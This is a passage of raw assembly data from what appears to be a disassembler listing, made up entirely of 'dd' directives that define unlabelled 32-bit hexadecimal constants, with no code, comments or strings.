		dd 3F2024A4h, 0E2840044h, 0C9B139AEh, 80536E3Fh, 0B0888DE3h
		dd 0C0D24685h, 0A3AE0444h, 3B0019FBh, 5CA42DC5h, 1CE87E60h
		dd 18429D10h, 0A8F9A3Ch, 1B2AAE90h, 4C0FD481h, 1D9C0Ch
		dd 0BB5C378Ch, 0EB1F7820h, 7FC08F70h, 0F271F64Eh, 0B9DF000Ah
		dd 8020BC42h, 2700DA3Ch, 2F9DAC17h, 448A09h, 0C6885FA1h
		dd 45BB7ACEh, 66513E00h, 1F6C174Bh, 0ACCA04E5h,	87D02D84h
		dd 4F638088h, 0C700D1A5h, 6E161BBBh, 1493B0h, 304A7F10h
		dd 9D2CF1FEh, 9C182AFCh, 0E6D8A553h, 6AC8071Eh,	60F06F6Ch
		dd 358BBB13h, 4E2E7E00h, 1B2CCBE5h, 29B8A090h, 277A39EEh
		dd 4B450601h, 0FD731720h, 0F023FCE6h, 0D7E18500h, 6B43AF33h
		dd 0F639001Dh, 701F2F77h, 5900C4A3h, 47DA63A6h,	31D793h
		dd 0C0B5135Fh, 90F75AF3h, 0BFE38200h, 9DCA3EB3h, 17840003h
		dd 0CE882DDDh, 550E6C56h, 0AA74EAF9h, 2A06E038h, 0F407A5Fh
		dd 5B59A0D0h, 81455E44h, 0E4155822h, 537EB05Ah,	9978A460h
		dd 17911F3h, 324AE0CDh,	70786AC9h, 0E60E3F49h, 0DC629Ch
		dd 2BC8946Fh, 24953B83h, 0A100543Bh, 9C09DDE4h,	570EB222h
		dd 809065F7h, 5421596Dh, 1B5E0087h, 35E3CE9Fh, 6000D803h
		dd 521C8FAAh, 0F4EC73h,	41707CB8h, 0E491EEB1h, 35C7F600h
		dd 5529C8A1h, 0F96D0081h, 47668858h, 0B9005486h, 3B9ACFFFh
		dd 0F8F461h, 3398D8ADh,	30945E7Bh, 0FF00DD7Dh, 296BED91h
		dd 0D8283Eh, 0F9AD9F15h, 83A9972Dh, 0CCAA1300h,	46AEE112h
		dd 0FF1E006Ah, 6064026Bh, 0A1003927h, 6295FD21h, 55AE966h
		dd 8125F041h, 0A802BB89h, 0C016FFA0h, 2887E8h, 0C1704456h
		dd 0F1689C80h, 0CEE4B700h, 0E0FA7D83h, 12C800ACh, 2C734759h
		dd 0C91F9166h, 61C029A5h, 0CF0E1BFDh, 0AD6807C7h, 5064AF90h
		dd 0B553BC04h, 0CC936E24h, 0C9FCE700h, 1CDA9F1h, 4B6BEF46h
		dd 0CC6DD039h, 3B007177h, 0C85731E7h, 3C61Dh, 0BD6C42F8h
		dd 0C725CE8Fh, 5EFCF900h, 1BDF95F4h, 4AB0031h, 2A68033h
		dd 1E003511h, 75BFAE27h, 0A01D901Fh, 17EADA8Ch,	92B42F3h
		dd 0DB0066D5h, 2143467Eh, 3E4CE00h, 7F01454Eh, 44D800B5h
		dd 0A80D1853h, 887D3B48h, 785A5700h, 206EF5A5h,	0ED500A6h
		dd 0A428DBD4h, 0D8C0984Ch, 0ED33FEB8h, 9EDA0015h, 6273C0CEh
		dd 4F1F2DA8h, 436C654Eh, 4E81080Eh, 0CBD520A3h,	4112E9h
		dd 5E7D4A59h, 2D3C9CCh,	0DA516700h, 547306D4h, 0AE2300C6h
		dd 9833F211h, 44008CB8h, 577EA38Dh, 674B04h, 0C89164EEh
		dd 0E0E573AFh, 9D30CF00h, 0D6BBBC01h, 0D79400FBh, 0E2DCB313h
		dd 0CD0E55A3h, 458351CEh, 0DC9080FAh, 6709BBh, 0CFB1D3Eh
		dd 0A6549FF0h, 518E9C00h, 17E14AEEh, 13C91DF7h,	8DD380h
		dd 0F3864314h, 98E4128Bh, 91005DB8h, 0CD576B1Bh, 0C268Ch
		dd 0DEDBAA50h, 603F885Eh, 55C36603h, 0D039B248h, 319D877h
		dd 1A6807ACh, 47F8A591h, 6400D5B4h, 0ADBCAF50h,	0F15F3Bh
		dd 6F4008FCh, 9043D242h, 5E289D00h, 0DE9471D3h,	98140009h
		dd 0AF1B4640h, 0E80ED13Dh, 6053DDAEh, 62054728h, 0D3E91E7Ch
		dd 0C7088E4Bh, 80E095EFh, 0F858097Dh, 78C34C00h, 268F94DFh
		dd 42FA07A6h, 0AE8E98C8h, 182744A1h, 0D01AD0BCh, 0B4547B02h
		dd 4008C045h, 0C8F77Fh,	40893199h, 3768E128h, 0D1B8A205h
		dd 35C70D45h, 530A7000h, 312500E3h, 0F85C9A4Eh,	0C8905E19h
		dd 343DB700h, 0AF1A77CCh, 0C2A33DB9h, 6848BD00h, 467BEAEFh
		dd 2DA2D0F7h, 0E3C74A00h, 0BA0D1799h, 17CCEEEDh, 1D62FBEh
		dd 68116123h, 396ECE7h,	61EA375h, 3980FD1Fh, 8E3C8F4Eh
		dd 38417382h, 0D0806918h, 191F5CDDh, 2CF4CCB4h,	0E3122F00h
		dd 258A84F1h, 7A8F0739h, 0D0748B58h, 148831Dh, 0A516730Bh
		dd 0D5F0A3D2h, 0E89EB377h
		dd 2E2CAF37h, 93ACh, 0B805109Bh, 0F018BC59h, 3930B6F4h
		dd 0D31803CEh, 0CF7A7748h, 2CC0EB80h, 6806EC00h, 83964AA9h
		dd 0CCE03619h, 780148E8h, 0CCDDB69h, 0F0304185h, 8F230A8Ch
		dd 38349527h, 0BF18148Ch, 51060C50h, 0A2014D1Ah, 6039E231h
		dd 11C9B19Ah, 0CA005405h, 0EE56B7C8h, 0A3F294h,	7020C318h
		dd 0B98780B8h, 1C601958h, 0C0800411h, 0EDCABEA5h, 7C3C0086h
		dd 1B55FC67h, 8000D0BCh, 4F76E427h, 6D2ABDh, 0CE623A0Dh
		dd 0C1EC68F3h, 27056C0Bh, 92968035h, 0B27F5Bh, 7C02B5D8h
		dd 385D48CBh, 0BA92C60h, 1DC9E8h, 1FD30C3Eh, 4D1CF7FBh
		dd 68AA1607h, 5D3B842h,	6939C009h, 0B4920434h, 0C196417Bh
		dd 0E0495740h, 7E009904h, 0EDB71BB1h, 0E46F0Bh,	92A62F17h
		dd 29F1E0C4h, 5F5A3Dh, 99EE1976h, 1E205D1Bh, 7169AF2h
		dd 31881069h, 83CE6653h, 0CDFA9C99h, 0DD3CC0A8h, 0FCBEFC67h
		dd 5EF87Ch, 298F6922h, 2BC78C30h, 9327B100h, 50A84B5h
		dd 0C8595850h, 0BA437603h, 80E7703Eh, 97A331CDh, 80356B07h
		dd 0B3C0EC0Fh, 8BF1EEh,	0FA5EF99Eh, 0FE6B20D4h,	53606800h
		dd 0B761ADF4h, 0E89678AFh, 0C61E0747h, 0C0E8670Eh, 7DE7D878h
		dd 2D2B3300h, 2B9FE96h,	0AB17000Bh, 486C61AEh, 972634CEh
		dd 9301B6BDh, 0B88D19E3h, 0C0DE0AF0h, 2C00D68h,	0E6003480h
		dd 43239079h, 0CE38FDh,	0E5FCFF4Eh, 0BB96F009h,	64016119h
		dd 0D243D091h, 3CFDA859h, 18E67CABh, 20F3BBEAh,	0B0077C4Dh
		dd 3EA774EEh, 0B7A6B8F0h, 1B6E470h, 0D875EBAEh,	0DCCEE1DBh
		dd 6BF01883h, 0F303F7Bh, 8F676116h, 94D20020h, 0E335D540h
		dd 331873EFh, 5120B4C5h, 0AA06004Dh, 35FF985Dh,	3007951Bh
		dd 43264803h, 0C2B5BDA0h, 0C68E011Ah, 15BCC833h, 0AA188046h
		dd 32FE6C54h, 0FC08002Bh, 1C5B2EAh, 95283E20h, 0B4809CBDh
		dd 94EE609Fh, 1063FA30h, 0B8725CCDh, 3590F14h, 5721BE5Ah
		dd 403E7CA0h, 6F8877A4h, 6281E07h, 9C90722Ah, 580D8Bh
		dd 73A5E2E0h, 354CB143h, 0BD924200h, 0B08BBE7Eh, 7414394Dh
		dd 889E0077h, 0E333CAC8h, 0F3147D0Ah, 3C8817F4h, 6F6900D7h
		dd 5F1A7304h, 89D6337h,	20011179h, 0B36C4177h, 0B6F8FE67h
		dd 0AAC700BCh, 49CC01D4h, 0D8587411h, 6E3D00CAh, 7B46F1C4h
		dd 574300F0h, 56CEC826h, 940037E1h, 0FD41405Dh,	0E777B6h
		dd 7AA26781h, 0A656B08Ah, 7207EAB8h, 801998DCh,	32D085F0h
		dd 7C20391Ch, 4500593Ah, 54BA105Fh, 6718A4A7h, 5710FEB5h
		dd 4115273h, 451F0BB8h,	0B4000C54h, 0C9D22A01h,	3F940012h
		dd 898AAB9Ch, 15005225h, 0FF594F45h, 53B7C6h, 1F22E13h
		dd 0CA269335h, 62038000h, 88D13FBCh, 92C9004Ch,	141EF284h
		dd 7B2CAD40h, 0E9001F42h, 0E2D19CB4h, 30D307CFh, 0D1B0F051h
		dd 0C0049D18h, 120E0A17h, 0A03B4380h, 5570FFBAh, 0BFB0F37h
		dd 0ECE0D5E9h, 0A197C57Ah, 99D4807h, 60D02E92h,	9345B81h
		dd 0E8D694F7h, 1B2C9680h, 0FE0065D4h, 0F27F232Dh, 0F320EFh
		dd 1CD1D08Ah, 4935C046h, 36D6BA00h, 0FD25D17h, 91DF0FA1h
		dd 3920CE8Dh, 0ADAED0F5h, 0E8A24300h, 0AA825BD5h, 0ABE900DAh
		dd 0D7F2F080h, 0E500658Dh, 3C1C1A5Fh, 0EB584A2h, 2D66AFCDh
		dd 0DC38A98Dh, 0ADE4EDE3h, 2A543A02h, 85BFC182h, 8C2739E8h
		dd 5572E760h, 57661EBCh, 0BBF3C05Dh, 236B3790h,	40A98C00h
		dd 0B6A87221h, 0AC600197h, 309157F5h, 370C2458h, 20756ECh
		dd 835BB05Ch, 33475201h, 1F11DFF0h, 80A648CCh, 0BC290590h
		dd 1600FE0Bh, 0FFA7884Eh, 2C01FD9h, 5CEBBF1Bh, 94C08BD1h
		dd 801E43F3h, 7B009E0Dh, 609D2356h, 5DFF0320h, 296BE1Dh
		dd 0B91614D8h, 9329461Fh, 63B1A58Fh, 0D84E5F9Dh, 1D8D66CEh
		dd 0FABC72CFh, 316A110Eh, 40D30073h, 0F30EDD93h, 80FDDF3Bh
		dd 4D664688h, 700A6Fh, 0FA72AC3Eh, 0CCF12A1Ch, 0B3973Ch
		dd 9B9AE2AAh, 7778C85h,	6445E9C8h, 0CF59908Dh, 0C0FBFC28h
		dd 0D100CBA0h, 66269919h, 0F23F4E21h, 2FD3017Dh, 7EC005E4h
		dd 301D6161h, 2A00D7B5h, 0E2CE1C20h, 0F0B87532h, 4E433FD5h
		dd 406D6700h, 65FBC5F0h, 0DAB0BE17h, 1B13D200h,	868D63h
		dd 9D88F81Fh, 56438362h, 0BA3E2C0Eh, 0D4F7A0A4h, 6946A8h
		dd 0C0DF0C6Ah, 0FD65F64Eh, 60EFD8A0h, 95DA8B02h, 0C0B06A2Bh
		dd 0B47B1Dh, 9DBE807Dh,	0AE1F024h, 76D83303h, 0C8EC057Ah
		dd 6C77C4Bh, 1825AC93h,	23002035h, 9159C36h, 0DF8A5Ch
		dd 0B5371786h, 0A5922D2h, 331B9D0Eh, 0E840DED7h, 0A53D9C9Ah
		dd 38C7257h, 7DCFBFB2h,	1FC0611Dh, 5279B9BAh, 9CFF8D24h
		dd 3F783500h, 90CA0D9Eh, 0FCE3006Ch, 6212D946h,	8A074FF4h
		dd 0C0BE9134h, 0A1D301E9h, 97F0E0DBh, 188791Ch,	3371654Ah
		dd 30D29D2Dh, 6000CEC4h, 0A8735092h, 2C4D352h, 66F6BE03h
		dd 1F401A82h, 1F00604Eh, 3DB573CDh, 13BCEBAh, 8EB20999h
		dd 0C825AAA2h, 4C2C60F3h, 0BE00315Dh, 0E03D893h, 0E9BF0751h
		dd 0E3B07FBBh, 18881C58h, 0B6008A76h, 43116627h, 7F126Bh
		dd 0FD0CC66Ah, 0D4887A4Bh, 8C5C3300h, 7BA11D6Dh, 0C5150019h
		dd 0B487B5BAh, 3471824Ah, 690BAD1Fh, 20997B8Fh,	0F65218CBh
		dd 0B0934839h, 0AC9DB0Eh, 0EB1C57h, 104B77AFh, 5D586A04h
		dd 80763A1Dh, 4F893F52h, 0A724A2h, 0ECC3561Ah, 8535DE92h
		dd 0DADFA0Eh, 2D1D432Eh, 194DA859h, 7E70C014h, 0B3C6403h
		dd 0E556C600h, 3A01BAFDh, 6CC0E1C2h, 75830098h,	25A728B0h
		dd 6B00C334h, 9572D380h, 0EA13F09Dh, 0ECB80062h, 0ABDF688Ch
		dd 0AAB04820h, 819FEB04h, 48C1A48Fh, 34EC15D2h,	0F16A0016h
		dd 9D6484FCh, 2900C3F6h, 969750C2h, 0D5340Eh, 72431A6h
		dd 8C44CEE7h, 0DAA93B02h, 0E1FEB3BAh, 0B301D93h, 998F0317h
		dd 0A8C19D91h, 26ED81E7h, 0AF79F424h, 2038490h,	61459F55h
		dd 51AAE0E3h, 7B7D65h, 0EEE1F4B8h, 4F5AB023h, 1700A6FCh
		dd 0D653B5C5h, 8F7631h,	3CAE6961h, 0A6CE3DF1h, 57C9DD00h
		dd 26139944h, 0C27A3A8Fh, 0E420730Ah, 8E8C008Ch, 63D4CCCAh
		dd 4B893500h, 0C98B0D7Eh, 406207B9h, 406498E9h,	51142955h
		dd 0B189D100h, 691E6D4Ah, 838F00C1h, 5DCA1F95h,	0B71FDC97h
		dd 0D0C0BD88h, 26021B62h, 6A3D00C6h, 0ABCA5775h, 91007694h
		dd 6A2218Ah, 95985Eh, 6C50C879h, 0FD385F2Eh, 40545A00h
		dd 0C9E662CFh, 0AFD800D2h, 2FBDAD82h, 0CB03FD1Dh, 8573E947h
		dd 184DC86Ah, 0B5E10FCDh, 40DE9EC5h, 0BF01CEB8h, 357E85A9h
		dd 6078617Bh, 9DD80D00h, 7B21F137h, 0C70A00E4h,	3C55FE3Dh
		dd 8B000B7Ah, 50609CD0h, 0B1AA37h, 0A411BAF8h, 9A44E37Eh
		dd 0F54F8F00h, 0F7B9C405h, 0A76400EDh, 2835611Eh, 76000A9Fh
		dd 0BD460DC0h, 0D86E7Ch, 8E308FB8h, 7DED1A47h, 7B39D203h
		dd 0EB8A4BAEh, 0CDC0ADF2h, 7AB621Fh, 2AA192D9h,	7A49AE79h
		dd 847EF400h, 0DF039D81h, 0CEAFCA85h, 0B727F090h, 0B0C400EEh
		dd 6778A345h, 9E1C979Fh, 0D90169C9h, 802D6BAEh,	89B5E4h
		dd 1013F9DBh, 0AB586845h, 74A79F2Eh, 35EF7100h,	26B4D736h
		dd 3F4B8FDDh, 2A2FA600h, 6ACB340Ah, 0C3BDF200h,	93B3805Dh
		dd 5B4A00ADh, 0B2A68B50h, 9C0FBCFEh, 0A09AB89Bh, 0FC4CBDF5h
		dd 0A5393092h, 0A103E860h, 0D103A090h, 4DE03AB9h, 0EAA4A3D0h
		dd 2BF860EFh, 313F00C0h, 3DDC7F4Ch, 0C0B855F5h,	982C06E4h
		dd 8600E00Dh, 0D26C675Ah
		dd 9C9E863h, 0C576F74Ah, 5220A783h, 784B3000h, 10C66D82h
		dd 6BF8007Bh, 4E32D0E3h, 0D7189B47h, 0BA88BD18h, 0F44303Fh
		dd 0A143D858h, 0BF006EECh, 353B070h, 2E6CF87h, 0F229A0E4h
		dd 0F680A5E5h, 0D2966761h, 0BC42710Bh, 502CA159h, 0B180084Ch
		dd 0E03869D1h, 393E2737h, 78B5C8B5h, 45210961h,	0EFCC4B7Fh
		dd 72323FBFh, 0D19B7B81h, 0E8559A98h, 0B66792A8h, 0C8003552h
		dd 5860DFDh, 5D65C6C3h,	2905C0A3h, 6F00646Dh, 3DDB234h
		dd 660D68h, 46092772h, 2C762BB9h, 0B35E70C0h, 0FEFBA4h
		dd 0B23C9805h, 6A3003DBh, 22C34D01h, 19DC1E8Eh,	0F4F060EEh
		dd 0C77120h, 97BA2BA4h,	716D4031h, 3F8C950Fh, 0E1A60019h
		dd 182AD6h, 2DD39F79h, 93EBFBF0h, 6D331D01h, 6F48A4FAh
		dd 0F675FE4h, 0FB23F71Ch, 0D4C1EC60h, 430F30B2h, 0A039BE46h
		dd 106C5C19h, 4A820024h, 5D2D9D14h, 4B0048B1h, 848D380Eh
		dd 52632Ah, 0FF1C3FB5h,	0A8C224F3h, 0B0C5A700h,	0F8346C90h
		dd 17350A7Fh, 81C8C70Dh, 3B508BDh, 0CE9DE97Bh, 0C9F9F760h
		dd 0E1003F72h, 2A01B8F8h, 1DE5EAD6h, 719A8D5h, 0E1ECDB0Ah
		dd 0E4C64292h, 7501D2A9h, 0F9647E0Bh, 7C6070D8h, 0E9141EE7h
		dd 832480E0h, 0DCB10B9Ch, 0D0F56B00h, 4D5DBD8Fh, 0E20F00EDh
		dd 0D7DE9A90h, 1100A638h, 7633470Eh, 3F7068B2h,	49F849FCh
		dd 770044BEh, 386BEA53h, 47182913h, 33080420h, 0AD20C0A7h
		dd 1E649F4h, 7E85A026h,	40FF1E0Fh, 57B5BFB6h, 0BD3B0030h
		dd 0D8606788h, 5F18A685h, 0D218706Dh, 0CD490217h, 0BC6E833Dh
		dd 0F35274C0h, 1BEBA700h, 32A8A216h, 49E4D3Bh, 0CE2D9701h
		dd 87A4C5C6h, 61253110h, 2AC09234h, 0C09BE49Ah,	58B5F508h
		dd 87005F73h, 5754B065h, 0B0CAE96Bh, 0D7051C5Bh, 6D76C785h
		dd 0A4A0B02Eh, 0A8005293h, 0A2DAD310h, 12CC80h,	182DBB04h
		dd 0EAE55D82h, 4B2964F0h, 0DE0040B0h, 0C3BC7A61h, 5E8085A2h
		dd 0D134601Ch, 61AF364Fh, 0BD005040h, 0B8213E6Ch, 0E9C05Fh
		dd 950B7256h, 0D00240C9h, 14AB9B1Dh, 8F7E3540h,	1EFC33h
		dd 281736F6h, 0A854434Bh, 1B2B601h, 48A50270h, 44E8F7D5h
		dd 0BFE50025h, 606B8692h, 4E00B84Dh, 387FC8A7h,	0F657D09h
		dd 2D1464ACh, 0FB0B009Ch, 9986758Ch, 38427F00h,	4FCAF248h
		dd 0E5130E5Eh, 3C8044A1h, 0D8FA9FC8h, 0F30F0107h, 4D7074C1h
		dd 7E3609Eh, 0CC139DC2h, 218040F5h, 0EA7A5DF0h,	0D2C7451Eh
		dd 0E70EEDC3h, 3180EFABh, 3F3DB491h, 7F004101h,	90CB8812h
		dd 0FFE20B7Bh, 90AE1B2Eh, 0EC2C3300h, 0B87CEF32h, 0A670ACh
		dd 683B1ADEh, 0F41E9F6h, 0F90783Bh, 40217D26h, 1DB82E62h
		dd 4D020076h, 408E7E67h, 0C03B431h, 13168F58h, 0C8B9AB23h
		dd 3459DEh, 8C9DEDF2h, 65AFA3AAh, 811DC07h, 787A4F6h, 918F5033h
		dd 0C0303E9Ch, 85230052h, 0AFB71790h, 5B00A9B8h, 0D3AE146Ah
		dd 788B6Bh, 0B2BDBB75h,	875A013Bh, 7C040D00h, 5755699Bh
		dd 0EAA67C0Ah, 677E50h,	8B5C7915h, 0D6568CBDh, 470004EEh
		dd 0F74E36B7h, 4587C7h,	7DF4D911h, 88259C8Ah, 0FB0EB376h
		dd 0CBB81Ah, 0C11337D0h, 3F15009Eh, 1976F62h, 7100AE20h
		dd 3A2CE94h, 72F588h, 0A5E4C628h, 0B7FB682Bh, 0A05C0203h
		dd 0A05E6A86h, 0B2DBFh,	387A924Eh, 23C1396Fh, 0C89F4B00h
		dd 37F9D84Fh, 7C95003Fh, 0FF2E5C03h, 4A733411h,	7ED2B460h
		dd 5779ADh, 4B055967h, 348C7D9Ch, 44E9B000h, 3D3CB38h
		dd 0F46D1F0Ch, 651500B9h, 263A542Ch, 0A63829B0h, 1ABE9EBCh
		dd 8CDCCD43h, 85D6B1B7h, 0A22670h, 0B4D543C0h, 420AC374h
		dd 33F1AC00h, 3C12FEEDh, 0B5D700ADh, 0D05FD48h,	441DA72Eh
		dd 64C03582h, 0CB9B20DAh, 9C710196h, 112A4FAAh,	819883A0h
		dd 0A82BB705h, 179C021h, 3CB28ADBh, 201863D4h, 83712952h
		dd 7CC23B00h, 22FBDA78h, 0BF030034h, 0CECAF52Fh, 7000EE89h
		dd 49AB95DFh, 6A58Ch, 741CC5A1h, 0E3DAE0CAh, 0C962800Eh
		dd 20352EE4h, 4D13DF33h, 0FE7BF9h, 63A146EEh, 21F7F290h
		dd 6700DA72h, 0AF7C17F1h, 6072DC2Ah, 607DB0EBh,	7700C9F0h
		dd 4D125C4Eh, 1C86400Fh, 0CF269FD9h, 1AE0F484h,	8969689Dh
		dd 1893DF01h, 8B194307h, 1493830h, 0A9E21DFDh, 0F063C444h
		dd 0BA3E30A5h, 2A4780B8h, 7D82E936h, 0E8E00011h, 5B7CBE34h
		dd 8030E2Dh, 552F98B3h,	0E186B089h, 94350FF3h, 0EF209727h
		dd 0D71CDECDh, 0CA30E460h, 0A0C3FBh, 9F21CE8Eh,	16672B65h
		dd 7A0A7209h, 4B4200FAh, 0ECF796h, 4C806441h, 0F849DCBDh
		dd 9F0070E8h, 0AD5A32CCh, 78C46B52h, 18FF0010h,	71ED455h
		dd 3E017DA8h, 0CA6F7038h, 0DE300BC7h, 24F8BF35h, 0F056CE00h
		dd 0C40F7989h, 12B903EBh, 0FE6FFDE4h, 5AC0F4F2h, 6700F202h
		dd 9E4495F3h, 6B74DEh, 0B7EA8ECCh, 0D4F188Fh, 86C6401Eh
		dd 638D6A00h, 124CA39h,	0EB76985Eh, 0C08A25FBh,	0F100DF80h
		dd 13D70A09h, 3111D9h, 97C14EA2h, 0F804F59Ch, 2A94FE00h
		dd 2C68CFB8h, 90C60E0Ah, 0F58018C0h, 82752D13h,	8356E400h
		dd 339ED0B6h, 6D9401BBh, 1FCC622Bh, 0FD2AC402h,	66177B26h
		dd 7CDE803Ch, 73F763B4h, 57EE2675h, 47AD1FCCh, 1077D222h
		dd 916FBDE6h, 986B5401h, 0F7F06C31h, 0FEBF520h,	334F877Bh
		dd 32EFC0BFh, 0D9FE84A1h, 76D61007h, 85E031DFh,	852BBh
		dd 0F792E2BFh, 813ABCB7h, 0DE1FFA71h, 70804C09h, 9E3F979Ch
		dd 67E80961h, 0A80090CFh, 8F4499D0h, 0DF743700h, 0C08B60B3h
		dd 52F401B2h, 3384042Ah, 0F3C7FCFDh, 0A7946C00h, 0FB0C0D16h
		dd 0CB4F001Bh, 0A0FD2650h, 3E0043DBh, 0CDA8353Ch, 30A9F439h
		dd 9651B5C5h, 0A11D13B1h, 9C80BE14h, 3A851AD7h,	0F3D800DAh
		dd 5A7B2E80h, 1D0F60C1h, 24FB6B72h, 0B6804D74h,	0A3E89h
		dd 88BEB46h, 6AF62FCCh,	5F000F71h, 0A417F35Bh, 307803Fh
		dd 46259C2h, 0EA01435h,	0C7003053h, 0BA8D6B29h,	1DB271Dh
		dd 0B7CB13C3h, 0C41F63D6h, 0E700AEE5h, 0B9717FCDh, 7992D523h
		dd 0AA3B0767h, 0D0FE8B21h, 63A8695Eh, 1D7A8200h, 0FC318C80h
		dd 0C76B0045h, 73AFB466h, 9F038B37h, 0D48E9D04h, 0F8B1CB53h
		dd 628777h, 74C98A2Bh, 0FB494C05h, 0BC394B00h, 8C28253h
		dd 0DCFE0E34h, 81C1B1D3h, 30D8D649h, 4008DF4h, 188C5D1h
		dd 3C064DF2h, 0DC80B410h, 922A78Bh, 0B800D0CEh,	5C59893Bh
		dd 705A1h, 0B7516DFDh, 2E27C4AAh, 47FC4C07h, 9500E36Fh
		dd 5F332h, 4B66542Fh, 3CFDC3B4h, 36ABA500h, 0C40B9B1Eh
		dd 7D56001Bh, 9FDA1514h, 4E03216Ah, 0E84F58CEh,	13808469h
		dd 0F5D8042h, 402DF954h, 0D90E0FA0h, 4804AD1Ch,	19EB8ABh
		dd 0D1DFC180h, 645F0005h, 93763E18h, 3000E106h,	925EAF6Ch
		dd 0F09C46h, 0EE54EF84h, 7A126B9Ah, 259F4F03h, 9856C877h
		dd 0E0E5935Dh, 4AB50007h, 8A53C318h, 3C001E1Ch,	648704DCh
		dd 3934C2h, 0DE429C0Ch,	61CB0FA6h, 3C698800h, 607966FFh
		dd 3E0138C6h, 0F12AA500h, 1FC7BC8Bh, 0F0070B8h,	0F7EBF3DFh
		dd 0C5876F0h, 714DEAFCh, 0B63B151Eh, 77C20075h,	0EBA88808h
		dd 6EBE0021h, 0C4BDE998h, 0A430909Dh, 83BA5417h, 0FBE400DFh
		dd 6323F612h, 0AD001E2Fh, 0F00BDE95h, 3AB5FA32h, 1160D936h
		dd 0F6679E61h, 0EE861100h, 2A1BD04h, 0A28F00F3h, 3091CF4Fh
		dd 41392A44h, 8028BDB8h, 89E9511Eh, 3D405B85h, 95ACC3CFh
		dd 0B6680334h
		dd 69F82A13h, 6D3D6FF3h, 0ABE5814Ah, 0CA32F5AAh, 9C9EE4h
		dd 0E668DCF8h, 207E40F2h, 253AD6FEh, 357BB21h, 6DC52BCAh
		dd 8A51A0B6h, 0B27FE6h,	1939DF82h, 7332AE58h, 0EA002EE4h
		dd 7C621A64h, 856027h, 8A37716Bh, 43FC5EB5h, 8D07B376h
		dd 833348BEh, 0DD0DEE20h, 6BFA04CFh, 81C9A3CAh,	30205327h
		dd 0B31DDEBFh, 0E61C8716h, 9FCF1E40h, 4B18C46h,	5705BF71h
		dd 703BA6Eh, 0F1DAB7A0h, 1080864Fh, 9A2B858h, 8000F07Ch
		dd 547B1ECAh, 4CD47102h, 9E00928Dh, 1F4E7549h, 0B303CA1Dh
		dd 3409D225h, 0D4D80024h, 0B5EBB0F5h, 8300917Ch, 3235F946h
		dd 2AA8536Ch, 0CECECE3h, 0D33A4CB3h, 0D6F9B40h,	0C22A0098h
		dd 183EA74Dh, 615404E4h, 9E201F11h, 121E0723h, 60CF66FEh
		dd 8DA5D35Ah, 85954003h, 0C0EBA4EEh, 7CD91A27h,	0C731008Bh
		dd 0A8595534h, 0E38AD57h, 48273697h, 80048758h,	9B04D4DEh
		dd 3B0EFDF7h, 0C2CF89F2h, 0F7E50387h, 79C5E0E0h, 9837851Ch
		dd 0C7592343h, 8038A2BAh, 509982FFh, 28F80046h,	0D256ACCBh
		dd 0AA301401h, 3A0C41B7h, 7C8E2E07h, 54F0226h, 0D6042A3h
		dd 3B07321Ah, 12843F8Bh, 0EEE7B1D0h, 275500A8h,	924E3679h
		dd 0C70375FEh, 0F280CE7Fh, 0E3F5F304h, 0DC2BC83Dh, 65CD0078h
		dd 0A2EF9FB4h, 0AB304D1Dh, 0A35D687Bh, 0A1F70C7Dh, 0EC88EB28h
		dd 0EF02200h, 0BF8E519Ah, 166E0058h, 0EFC7B918h, 0C30AA2F1h
		dd 8CD9F912h, 0FA60A580h, 185C5E8Ch, 913D3247h,	0D2185A27h
		dd 0A411F557h, 0DCE02E95h, 0EEE90E33h, 0C0E0ABCFh, 4CCD4E42h
		dd 6AB9B100h, 8649DF7Eh, 0C83948CEh, 13C040h, 0CDB24847h
		dd 36D5B950h, 0EC089F66h, 14DF3EB0h, 72084500h,	7057F2B6h
		dd 5144F907h, 0EA707EDEh, 528EC9Ah, 3901D1E5h, 0D81C090Bh
		dd 0B31A7682h, 0CDBD8C80h, 5B0A556Ch, 0C4590D04h, 88D68E00h
		dd 5484FA41h, 0E77FD4DEh, 1CEF9881h, 0CB558117h, 0E0947780h
		dd 0D5B8D903h, 0C0A96885h, 72CE631Bh, 5D7DD2h, 7F29B349h
		dd 0FCDB85ACh, 603A113Ch, 0D12A9A88h, 21BC00E0h, 1913C9AEh
		dd 5F04C2EFh, 583C63BBh, 96FBA490h, 50E30032h, 536687E0h
		dd 0D6099714h, 21197E34h, 3D0A5B8Ch, 703272F4h,	3E8C00BBh
		dd 0B940BF4Eh, 0AA2A117Eh, 0F624F42Fh, 9F807C01h, 64D1E036h
		dd 0CCBC00F7h, 61DDE3FAh, 0EF480914h, 85551074h, 71472BC7h
		dd 0DBAC74Ch, 9F00B2FDh, 0BE007AE8h, 9D7BAA27h,	319B9F4h
		dd 54E3410Ch, 0E08796B0h, 0EFA5AEA2h, 619FA400h, 60707E98h
		dd 0D87200BBh, 0CF36ACB3h, 0C94C04BFh, 0FADD00DAh, 8CCEF97Dh
		dd 0AC5E0027h, 0DB7957FCh, 40006D2Eh, 6BD43970h, 31A56C0h
		dd 5668184h, 5DD8F49Eh,	0D1004B20h, 27AD0783h, 0C09156B3h
		dd 0C6254040h, 9900FA76h, 16635CB8h, 60CD5DF3h,	0F9ED20ABh
		dd 0A8E403C7h, 8082AD39h, 0A0859B76h, 15A1F27h,	0B0987305h
		dd 0E8B121FEh, 787C0F23h, 846E7600h, 31FAF4B8h,	912D021Eh
		dd 0B7D2991Ch, 208E8AE0h, 8DE8F806h, 0EC218711h, 93C00081h
		dd 0E0998CCCh, 65E8C3ACh, 614C0B00h, 0E9B703Dh,	0F5EB00E3h
		dd 928964DCh, 72025EA8h, 517705B0h, 316CA0C1h, 10FB3ACAh
		dd 0A05DF2F9h, 1BEE841h, 18D2C8BCh, 0FC6C91F4h,	7718A1DAh
		dd 0DDC057F6h, 4294A5B4h, 0AB188F6Ch, 1F40058h,	0C5463098h
		dd 0E200FD29h, 272DAA7Eh, 1022B78h, 0E057F511h,	80960DCCh
		dd 0CD471D9Eh, 0A48754h, 567843C9h, 95E4B3E0h, 28B9AA00h
		dd 8F0F3441h, 0F4C70029h, 0B7056A98h, 0D33CC438h, 9D238045h
		dd 0AE487A2Ah, 92F6A0h,	0B06DA90Ch, 664212EAh, 7F3C13Fh
		dd 0FC20E58Ch, 9776F992h, 8E5F0898h, 3D7B4760h,	196E0136h
		dd 0D55C7182h, 0B35DC868h, 0E14E60E9h, 1DD94A50h, 7DE5E81Ch
		dd 93C67C1h, 6860B05Fh,	0FD910181h, 0B1224EEAh,	0FCFC43A4h
		dd 4CED20E7h, 930E1015h, 0C0C4126Ch, 0E08A2C9Dh, 7DA77546h
		dd 0D7D10E04h, 0DB9C2E89h, 0D4F898BAh, 0C907C0F9h, 383EB108h
